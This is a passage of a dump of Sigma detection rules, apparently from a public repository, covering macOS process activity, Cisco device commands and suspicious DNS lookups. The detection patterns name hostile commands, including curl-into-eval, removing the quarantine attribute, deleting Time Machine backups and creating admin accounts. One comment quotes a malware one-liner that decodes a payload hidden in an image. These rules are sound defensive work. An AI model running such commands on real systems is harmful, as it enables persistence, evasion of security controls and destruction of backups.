"content": "title: User Added To Admin Group Via Sysadminctl\nid: 652c098d-dc11-4ba6-8566-c20e89042f2b\nrelated:\n - id: 0c1ffcf9-efa9-436e-ab68-23a9496ebf5b\n type: obsolete\nstatus: test\ndescription: Detects attempts to create and add an account to the admin group via \"sysadminctl\"\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-3---create-local-account-with-admin-privileges-using-sysadminctl-utility---macos\n - https://ss64.com/osx/sysadminctl.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-03-19\ntags:\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.privilege-escalation\n - attack.t1078.003\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n # Creates and adds new user to admin group\n Image|endswith: '/sysadminctl'\n CommandLine|contains|all:\n - ' -addUser '\n - ' -admin '\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml",
"content": "title: Guest Account Enabled Via Sysadminctl\nid: d7329412-13bd-44ba-a072-3387f804a106\nstatus: test\ndescription: Detects attempts to enable the guest account using the sysadminctl utility\nreferences:\n - https://ss64.com/osx/sysadminctl.html\nauthor: Sohan G (D4rkCiph3r)\ndate: 2023-02-18\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\n - attack.t1078.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/sysadminctl'\n CommandLine|contains|all:\n # By default the guest account is not active\n - ' -guestAccount'\n - ' on'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_sysctl_discovery.yml",
"content": "title: System Information Discovery Via Sysctl - MacOS\nid: 6ff08e55-ea53-4f27-94a1-eff92e6d9d5c\nstatus: test\ndescription: |\n Detects the execution of \"sysctl\" with specific arguments that have been used by threat actors and malware. It provides system hardware information.\n This process is primarily used to detect and avoid virtualization and analysis environments.\nreferences:\n - https://www.loobins.io/binaries/sysctl/#\n - https://evasions.checkpoint.com/techniques/macos.html\n - https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/\n - https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/\n - https://objective-see.org/blog/blog_0x1E.html\n - https://www.virustotal.com/gui/file/1c547a064494a35d6b5e6b459de183ab2720a22725e082bed6f6629211f7abc1/behavior\n - https://www.virustotal.com/gui/file/b4b1fc65f87b3dcfa35e2dbe8e0a34ad9d8a400bec332025c0a2e200671038aa/behavior\nauthor: Pratinav Chandra\ndate: 2024-05-27\ntags:\n - attack.defense-evasion\n - attack.t1497.001\n - attack.discovery\n - attack.t1082\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection_img:\n - Image|endswith: '/sysctl'\n - CommandLine|contains: 'sysctl'\n selection_cmd:\n CommandLine|contains:\n - 'hw.'\n - 'kern.'\n - 'machdep.'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administrative activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml",
"content": "title: System Network Connections Discovery - MacOs\nid: 9a7a0393-2144-4626-9bf1-7c2f5a7321db\nstatus: test\ndescription: Detects usage of system utilities to discover system network connections\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2022-12-28\ntags:\n - attack.discovery\n - attack.t1049\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith:\n - '/who'\n - '/w'\n - '/last'\n - '/lsof'\n - '/netstat'\n condition: selection\nfalsepositives:\n - Legitimate activities\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_system_profiler_discovery.yml",
"content": "title: System Information Discovery Using System_Profiler\nid: 4809c683-059b-4935-879d-36835986f8cf\nstatus: test\ndescription: |\n Detects the execution of \"system_profiler\" with specific \"Data Types\" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information.\n This process is primarily used for system information discovery. However, \"system_profiler\" can also be used to determine if virtualization software is being run for defense evasion purposes.\nreferences:\n - https://www.trendmicro.com/en_za/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html\n - https://www.sentinelone.com/wp-content/uploads/pdf-gen/1630910064/20-common-tools-techniques-used-by-macos-threat-actors-malware.pdf\n - https://ss64.com/mac/system_profiler.html\n - https://objective-see.org/blog/blog_0x62.html\n - https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/\n - https://gist.github.com/nasbench/9a1ba4bc7094ea1b47bc42bf172961af\nauthor: Stephen Lincoln `@slincoln_aiq` (AttackIQ)\ndate: 2024-01-02\ntags:\n - attack.discovery\n - attack.defense-evasion\n - attack.t1082\n - attack.t1497.001\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection_img:\n - Image|endswith: '/system_profiler'\n - CommandLine|contains: 'system_profiler'\n selection_cmd:\n # Note: This list is based on CTI reporting. Threat actors might use other data types. Please refere to https://gist.github.com/nasbench/9a1ba4bc7094ea1b47bc42bf172961af for a full list\n CommandLine|contains:\n - 'SPApplicationsDataType'\n - 'SPHardwareDataType'\n - 'SPNetworkDataType'\n - 'SPUSBDataType'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administrative activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml",
"content": "title: System Shutdown/Reboot - MacOs\nid: 40b1fbe2-18ea-4ee7-be47-0294285811de\nstatus: test\ndescription: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md\nauthor: 'Igor Fits, Mikhail Larin, oscd.community'\ndate: 2020-10-19\nmodified: 2022-11-26\ntags:\n - attack.impact\n - attack.t1529\nlogsource:\n product: macos\n category: process_creation\ndetection:\n selection:\n Image|endswith:\n - '/shutdown'\n - '/reboot'\n - '/halt'\n condition: selection\nfalsepositives:\n - Legitimate administrative activity\nlevel: informational\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_tail_base64_decode_from_image.yml",
"content": "title: Potential Base64 Decoded From Images\nid: 09a910bf-f71f-4737-9c40-88880ba5913d\nstatus: test\ndescription: |\n Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.\nreferences:\n - https://www.virustotal.com/gui/file/16bafdf741e7a13137c489f3c8db1334f171c7cb13b62617d691b0a64783cc48/behavior\n - https://www.virustotal.com/gui/file/483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e8ec6ad690b34ed0/behavior\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-12-20\ntags:\n - attack.defense-evasion\n - attack.t1140\nlogsource:\n product: macos\n category: process_creation\ndetection:\n # Example: /bin/bash sh -c tail -c +21453 '/Volumes/Installer/Installer.app/Contents/Resources/workout-logo.jpeg' | base64 --decode > /tmp/54A0A2CD-FAD1-4D4D-AAF5-5266F6344ABE.zip\n # VT Query: 'behavior_processes:\"tail\" (behavior_processes:\"jpeg\" or behavior_processes:\"jpg\" or behavior_processes:\"png\" or behavior_processes:\"gif\") behavior_processes:\"base64\" behavior_processes:\"--decode >\" and tag:dmg'\n selection_image:\n Image|endswith: '/bash'\n selection_view:\n CommandLine|contains|all:\n - 'tail'\n - '-c'\n selection_b64:\n CommandLine|contains|all:\n - 'base64'\n - '-d' # Also covers \"--decode\"\n - '>'\n selection_files:\n CommandLine|contains:\n - '.avif'\n - '.gif'\n - '.jfif'\n - '.jpeg'\n - '.jpg'\n - '.pjp'\n - '.pjpeg'\n - '.png'\n - '.svg'\n - '.webp'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml",
"content": "title: Time Machine Backup Deletion Attempt Via Tmutil - MacOS\nid: 452df256-da78-427a-866f-49fa04417d74\nstatus: test\ndescription: |\n Detects deletion attempts of MacOS Time Machine backups via the native backup utility \"tmutil\".\n An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine\n - https://www.loobins.io/binaries/tmutil/\nauthor: Pratinav Chandra\ndate: 2024-05-29\ntags:\n - attack.impact\n - attack.t1490\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_img:\n - Image|endswith: '/tmutil'\n - CommandLine|contains: 'tmutil'\n selection_cmd:\n CommandLine|contains: 'delete'\n condition: all of selection_*\nfalsepositives:\n - Legitimate activities\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml",
"content": "title: Time Machine Backup Disabled Via Tmutil - MacOS\nid: 2c95fa8a-8b8d-4787-afce-7117ceb8e3da\nstatus: test\ndescription: |\n Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility \"tmutil\".\n An attacker can use this to prevent backups from occurring.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine\n - https://www.loobins.io/binaries/tmutil/\nauthor: Pratinav Chandra\ndate: 2024-05-29\ntags:\n - attack.impact\n - attack.t1490\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_img:\n - Image|endswith: '/tmutil'\n - CommandLine|contains: 'tmutil'\n selection_cmd:\n CommandLine|contains: 'disable'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administrator activity\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml",
"content": "title: New File Exclusion Added To Time Machine Via Tmutil - MacOS\nid: 9acf45ed-3a26-4062-bf08-56857613eb52\nstatus: test\ndescription: |\n Detects the addition of a new file or path exclusion to MacOS Time Machine via the \"tmutil\" utility.\n An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine\n - https://www.loobins.io/binaries/tmutil/\nauthor: Pratinav Chandra\ndate: 2024-05-29\ntags:\n - attack.impact\n - attack.t1490\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_img:\n - Image|endswith: '/tmutil'\n - CommandLine|contains: 'tmutil'\n selection_cmd:\n CommandLine|contains: 'addexclusion'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administrator activity\nlevel: medium\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml",
"content": "title: Potential WizardUpdate Malware Infection\nid: f68c4a4f-19ef-4817-952c-50dce331f4b0\nstatus: test\ndescription: Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.\nreferences:\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97\n - https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset\n - https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/\nauthor: Tim Rauch (rule), Elastic (idea)\ndate: 2022-10-17\ntags:\n - attack.command-and-control\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_1:\n Image|endswith: '/sh'\n CommandLine|contains|all:\n - '=$(curl '\n - 'eval'\n selection_2:\n Image|endswith: '/curl'\n CommandLine|contains: '_intermediate_agent_'\n condition: 1 of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml",
"content": "title: Gatekeeper Bypass via Xattr\nid: f5141b6d-9f42-41c6-a7bf-2a780678b29b\nstatus: test\ndescription: Detects macOS Gatekeeper bypass via xattr utility\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/1fed40dc7e48f16ed44dcdd9c73b9222a70cca85/atomics/T1553.001/T1553.001.md\n - https://www.loobins.io/binaries/xattr/\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2024-04-18\ntags:\n - attack.defense-evasion\n - attack.t1553.001\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection:\n Image|endswith: '/xattr'\n CommandLine|contains|all:\n - '-d'\n - 'com.apple.quarantine'\n condition: selection\nfalsepositives:\n - Legitimate activities\nlevel: low\n"
},
{
"path": "rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml",
"content": "title: Potential XCSSET Malware Infection\nid: 47d65ac0-c06f-4ba2-a2e3-d263139d0f51\nstatus: test\ndescription: Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.\nreferences:\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08\n - https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset\nauthor: Tim Rauch (rule), Elastic (idea)\ndate: 2022-10-17\ntags:\n - attack.command-and-control\nlogsource:\n category: process_creation\n product: macos\ndetection:\n selection_1_curl:\n ParentImage|endswith: '/bash'\n Image|endswith: '/curl'\n CommandLine|contains:\n - '/sys/log.php'\n - '/sys/prepod.php'\n - '/sys/bin/Pods'\n selection_1_https:\n CommandLine|contains: 'https://'\n selection_other_1:\n ParentImage|endswith: '/bash'\n Image|endswith: '/osacompile'\n CommandLine|contains|all:\n - '/Users/'\n - '/Library/Group Containers/'\n selection_other_2:\n ParentImage|endswith: '/bash'\n Image|endswith: '/plutil'\n CommandLine|contains|all:\n - 'LSUIElement'\n - '/Users/'\n - '/Library/Group Containers/'\n selection_other_3:\n Image|endswith: '/zip'\n CommandLine|contains|all:\n - '-r'\n - '/Users/'\n - '/Library/Group Containers/'\n condition: all of selection_1_* or 1 of selection_other_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_clear_logs.yml",
"content": "title: Cisco Clear Logs\nid: ceb407f6-8277-439b-951f-e4210e3ed956\nstatus: test\ndescription: Clear command history in network OS which is used for defense evasion\nreferences:\n - https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/command/reference/sysmgmt/n5k-sysmgmt-cr/n5k-sm_cmds_c.html\n - https://www.cisco.com/c/en/us/td/docs/ios/12_2sr/12_2sra/feature/guide/srmgtint.html#wp1127609\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2023-05-26\ntags:\n - attack.defense-evasion\n - attack.t1070.003\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'clear logging'\n - 'clear archive'\n condition: keywords\nfalsepositives:\n - Legitimate administrators may run these commands\nlevel: high\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_collect_data.yml",
"content": "title: Cisco Collect Data\nid: cd072b25-a418-4f98-8ebc-5093fb38fe1a\nstatus: test\ndescription: Collect pertinent data from the configuration files\nreferences:\n - https://blog.router-switch.com/2013/11/show-running-config/\n - https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/show_startup-config.htm\n - https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/config-mgmt/configuration/15-sy/config-mgmt-15-sy-book/cm-config-diff.html\nauthor: Austin Clark\ndate: 2019-08-11\nmodified: 2023-01-04\ntags:\n - attack.discovery\n - attack.credential-access\n - attack.collection\n - attack.t1087.001\n - attack.t1552.001\n - attack.t1005\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'show running-config'\n - 'show startup-config'\n - 'show archive config'\n - 'more'\n condition: keywords\nfalsepositives:\n - Commonly run by administrators\nlevel: low\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_crypto_actions.yml",
"content": "title: Cisco Crypto Commands\nid: 1f978c6a-4415-47fb-aca5-736a44d7ca3d\nstatus: test\ndescription: Show when private keys are being exported from the device, or when new certificates are installed\nreferences:\n - https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/a1/sec-a1-cr-book/sec-a1-cr-book_chapter_0111.html\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2023-01-04\ntags:\n - attack.credential-access\n - attack.defense-evasion\n - attack.t1553.004\n - attack.t1552.004\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'crypto pki export'\n - 'crypto pki import'\n - 'crypto pki trustpoint'\n condition: keywords\nfalsepositives:\n - Not commonly run by administrators. Also whitelist your known good certificates\nlevel: high\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_disable_logging.yml",
"content": "title: Cisco Disabling Logging\nid: 9e8f6035-88bf-4a63-96b6-b17c0508257e\nstatus: test\ndescription: Turn off logging locally or remote\nreferences:\n - https://www.cisco.com/en/US/docs/ios/security/command/reference/sec_a2.pdf\nauthor: Austin Clark\ndate: 2019-08-11\nmodified: 2023-01-04\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'no logging'\n - 'no aaa new-model'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_discovery.yml",
"content": "title: Cisco Discovery\nid: 9705a6a1-6db6-4a16-a987-15b7151e299b\nstatus: test\ndescription: Find information about network devices that is not stored in config files\nreferences:\n - https://www.cisco.com/c/en/us/td/docs/server_nw_virtual/2-5_release/command_reference/show.html\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2023-01-04\ntags:\n - attack.discovery\n - attack.t1083\n - attack.t1201\n - attack.t1057\n - attack.t1018\n - attack.t1082\n - attack.t1016\n - attack.t1049\n - attack.t1033\n - attack.t1124\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'dir'\n - 'show arp'\n - 'show cdp'\n - 'show clock'\n - 'show ip interface'\n - 'show ip route'\n - 'show ip sockets'\n - 'show processes'\n - 'show ssh'\n - 'show users'\n - 'show version'\n condition: keywords\nfalsepositives:\n - Commonly used by administrators for troubleshooting\nlevel: low\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_dos.yml",
"content": "title: Cisco Denial of Service\nid: d94a35f0-7a29-45f6-90a0-80df6159967c\nstatus: test\ndescription: Detect a system being shutdown or put into different boot mode\nauthor: Austin Clark\ndate: 2019-08-15\nmodified: 2023-01-04\ntags:\n - attack.impact\n - attack.t1495\n - attack.t1529\n - attack.t1565.001\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'shutdown'\n - 'config-register 0x2100'\n - 'config-register 0x2142'\n condition: keywords\nfalsepositives:\n - Legitimate administrators may run these commands, though rarely.\nlevel: medium\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_file_deletion.yml",
"content": "title: Cisco File Deletion\nid: 71d65515-c436-43c0-841b-236b1f32c21e\nstatus: test\ndescription: See what files are being deleted from flash file systems\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2023-01-04\ntags:\n - attack.defense-evasion\n - attack.impact\n - attack.t1070.004\n - attack.t1561.001\n - attack.t1561.002\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'erase'\n - 'delete'\n - 'format'\n condition: keywords\nfalsepositives:\n - Will be used sometimes by admins to clean up local flash space\nlevel: medium\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_input_capture.yml",
"content": "title: Cisco Show Commands Input\nid: b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b\nstatus: test\ndescription: See what commands are being input into the device by other people, full credentials can be in the history\nauthor: Austin Clark\ndate: 2019-08-11\nmodified: 2023-01-04\ntags:\n - attack.credential-access\n - attack.t1552.003\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'show history'\n - 'show history all'\n - 'show logging'\n condition: keywords\nfalsepositives:\n - Not commonly run by administrators, especially if remote logging is configured\nlevel: medium\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_local_accounts.yml",
"content": "title: Cisco Local Accounts\nid: 6d844f0f-1c18-41af-8f19-33e7654edfc3\nstatus: test\ndescription: Find local accounts being created or modified as well as remote authentication configurations\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2023-01-04\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1136.001\n - attack.t1098\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'username'\n - 'aaa'\n condition: keywords\nfalsepositives:\n - When remote authentication is in place, this should not change often\nlevel: high\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_modify_config.yml",
"content": "title: Cisco Modify Configuration\nid: 671ffc77-50a7-464f-9e3d-9ea2b493b26b\nstatus: test\ndescription: Modifications to a config that will serve an adversary's impacts or persistence\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2025-04-28\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.impact\n - attack.t1490\n - attack.t1505\n - attack.t1565.002\n - attack.t1053\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'ip http server'\n - 'ip https server'\n - 'kron policy-list'\n - 'kron occurrence'\n - 'policy-list'\n - 'access-list'\n - 'ip access-group'\n - 'archive maximum'\n - 'ntp server'\n condition: keywords\nfalsepositives:\n - Legitimate administrators may run these commands\nlevel: medium\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_moving_data.yml",
"content": "title: Cisco Stage Data\nid: 5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59\nstatus: test\ndescription: Various protocols maybe used to put data on the device for exfil or infil\nauthor: Austin Clark\ndate: 2019-08-12\nmodified: 2023-01-04\ntags:\n - attack.collection\n - attack.lateral-movement\n - attack.command-and-control\n - attack.exfiltration\n - attack.t1074\n - attack.t1105\n - attack.t1560.001\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'tftp'\n - 'rcp'\n - 'puts'\n - 'copy'\n - 'configure replace'\n - 'archive tar'\n condition: keywords\nfalsepositives:\n - Generally used to copy configs or IOS images\nlevel: low\n"
},
{
"path": "rules/network/cisco/aaa/cisco_cli_net_sniff.yml",
"content": "title: Cisco Sniffing\nid: b9e1f193-d236-4451-aaae-2f3d2102120d\nstatus: test\ndescription: Show when a monitor or a span/rspan is setup or modified\nauthor: Austin Clark\ndate: 2019-08-11\nmodified: 2023-01-04\ntags:\n - attack.credential-access\n - attack.discovery\n - attack.t1040\nlogsource:\n product: cisco\n service: aaa\ndetection:\n keywords:\n - 'monitor capture point'\n - 'set span'\n - 'set rspan'\n condition: keywords\nfalsepositives:\n - Admins may setup new or modify old spans, or use a monitor for troubleshooting\nlevel: medium\n"
},
{
"path": "rules/network/cisco/bgp/cisco_bgp_md5_auth_failed.yml",
"content": "title: Cisco BGP Authentication Failures\nid: 56fa3cd6-f8d6-4520-a8c7-607292971886\nstatus: test\ndescription: Detects BGP failures which may be indicative of brute force attacks to manipulate routing\nreferences:\n - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf\nauthor: Tim Brown\ndate: 2023-01-09\nmodified: 2023-01-23\ntags:\n - attack.initial-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.credential-access\n - attack.collection\n - attack.t1078\n - attack.t1110\n - attack.t1557\nlogsource:\n product: cisco\n service: bgp\n definition: 'Requirements: cisco bgp logs need to be enabled and ingested'\ndetection:\n keywords_bgp_cisco:\n '|all':\n - ':179' # Protocol\n - 'IP-TCP-3-BADAUTH'\n condition: keywords_bgp_cisco\nfalsepositives:\n - Unlikely. Except due to misconfigurations\nlevel: low\n"
},
{
"path": "rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml",
"content": "title: Cisco LDP Authentication Failures\nid: 50e606bf-04ce-4ca7-9d54-3449494bbd4b\nstatus: test\ndescription: Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels\nreferences:\n - https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf\nauthor: Tim Brown\ndate: 2023-01-09\ntags:\n - attack.initial-access\n - attack.persistence\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.credential-access\n - attack.collection\n - attack.t1078\n - attack.t1110\n - attack.t1557\nlogsource:\n product: cisco\n service: ldp\n definition: 'Requirements: cisco ldp logs need to be enabled and ingested'\ndetection:\n selection_protocol:\n - 'LDP'\n selection_keywords:\n - 'SOCKET_TCP_PACKET_MD5_AUTHEN_FAIL'\n - 'TCPMD5AuthenFail'\n condition: selection_protocol and selection_keywords\nfalsepositives:\n - Unlikely. Except due to misconfigurations\nlevel: low\n"
},
{
"path": "rules/network/dns/net_dns_external_service_interaction_domains.yml",
"content": "title: DNS Query to External Service Interaction Domains\nid: aff715fa-4dd5-497a-8db3-910bea555566\nstatus: test\ndescription: |\n Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE\nreferences:\n - https://twitter.com/breakersall/status/1533493587828260866\n - https://www.bitdefender.com/en-us/blog/businessinsights/bitdefender-advisory-critical-unauthenticated-rce-windows-server-update-services-cve-2025-59287\n - https://github.com/SigmaHQ/sigma/pull/5724#issuecomment-3466382234\nauthor: Florian Roth (Nextron Systems), Matt Kelly (list of domains)\ndate: 2022-06-07\nmodified: 2026-01-24\ntags:\n - attack.initial-access\n - attack.t1190\n - attack.reconnaissance\n - attack.t1595.002\nlogsource:\n category: dns\ndetection:\n selection:\n query|endswith:\n - '.burpcollaborator.net' # Portswigger Burpsuite Collaborator\n - '.canarytokens.com' # Thinkst Canary Canarytokens\n - '.ceye.io'\n - '.ddns.1443.eu.org' # dig.pm\n - '.ddns.bypass.eu.org' # dig.pm\n - '.ddns.xn--gg8h.eu.org' # dig.pm\n - '.digimg.store' # dnslog.ink\n - '.dns.su18.org' # javaweb.org\n - '.dnshook.site' # webhook.site\n - '.dnslog.cn'\n - '.dnslog.ink' # dnslog.ink\n - '.instances.httpworkbench.com' # httpworkbench.com\n - '.interact.sh' # Project Discovery Interactsh\n - '.log.dnslog.pp.ua' # dnslog.org\n - '.log.dnslog.qzz.io' # dnslog.org\n - '.log.dnslogs.dpdns.org' # dnslog.org\n - '.log.javaweb.org' # javaweb.org\n - '.log.nat.cloudns.ph' # dnslog.org\n - '.oast.fun' # Project Discovery Interactsh\n - '.oast.live' # Project Discovery Interactsh\n - '.oast.me' # Project Discovery Interactsh\n - '.oast.online' # Project Discovery Interactsh\n - '.oast.pro' # Project Discovery Interactsh\n - '.oast.site' # Project Discovery Interactsh\n - '.oastify.com' # Portswigger Burpsuite Collaborator\n - '.p8.lol' # javaweb.org\n - '.requestbin.net'\n filter_main_polling:\n query|contains: 'polling.oastify.com'\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Legitimate security scanning.\nlevel: high\n"
},
{
"path": "rules/network/dns/net_dns_mal_cobaltstrike.yml",
"content": "title: Cobalt Strike DNS Beaconing\nid: 2975af79-28c4-4d2f-a951-9095f229df29\nstatus: test\ndescription: Detects suspicious DNS queries known from Cobalt Strike beacons\nreferences:\n - https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns\n - https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-05-10\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\n - attack.t1071.004\nlogsource:\n category: dns\ndetection:\n selection1:\n query|startswith:\n - 'aaa.stage.'\n - 'post.1'\n selection2:\n query|contains: '.stage.123456.'\n condition: 1 of selection*\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml",
"content": "title: Monero Crypto Coin Mining Pool Lookup\nid: b593fd50-7335-4682-a36c-4edcb68e4641\nstatus: stable\ndescription: Detects suspicious DNS queries to Monero mining pools\nreferences:\n - https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-10-24\ntags:\n - attack.impact\n - attack.t1496\n - attack.exfiltration\n - attack.t1567\nlogsource:\n category: dns\ndetection:\n selection:\n query|contains:\n - 'pool.minexmr.com'\n - 'fr.minexmr.com'\n - 'de.minexmr.com'\n - 'sg.minexmr.com'\n - 'ca.minexmr.com'\n - 'us-west.minexmr.com'\n - 'pool.supportxmr.com'\n - 'mine.c3pool.com'\n - 'xmr-eu1.nanopool.org'\n - 'xmr-eu2.nanopool.org'\n - 'xmr-us-east1.nanopool.org'\n - 'xmr-us-west1.nanopool.org'\n - 'xmr-asia1.nanopool.org'\n - 'xmr-jp1.nanopool.org'\n - 'xmr-au1.nanopool.org'\n - 'xmr.2miners.com'\n - 'xmr.hashcity.org'\n - 'xmr.f2pool.com'\n - 'xmrpool.eu'\n - 'pool.hashvault.pro'\n condition: selection\nfalsepositives:\n - Legitimate crypto coin mining\nlevel: high\n"
},
{
"path": "rules/network/dns/net_dns_susp_b64_queries.yml",
